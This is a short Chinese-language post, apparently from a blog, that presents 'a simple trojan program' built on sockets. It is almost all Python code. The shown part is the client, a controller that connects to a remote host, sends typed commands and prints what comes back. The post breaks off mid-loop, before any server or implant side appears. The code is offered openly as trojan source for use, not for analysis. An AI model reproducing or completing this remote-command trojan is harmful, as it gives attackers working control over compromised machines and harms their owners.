一个简单的木马程序
绝大多数的木马程序都是基于Socket来实现的
废话少说直接上代码!
代码:
client部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
class Client:
def __init__(self, serverIp, serverPort):
self.serverIp = serverIp # 待连接的远程主机的域名
self.serverPort = serverPort
self.bufferSize = 10240
def connet(self): # 连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s" % e)
try:
s.connect((self.serverIp, self.serverPort))
while True:
message = input('> ') # 接收用户输入
if not message:
break
s.send(bytes(message, 'utf-8')) # 发送命令
data = s.recv(self.bufferSize) # 接收数据
if not data: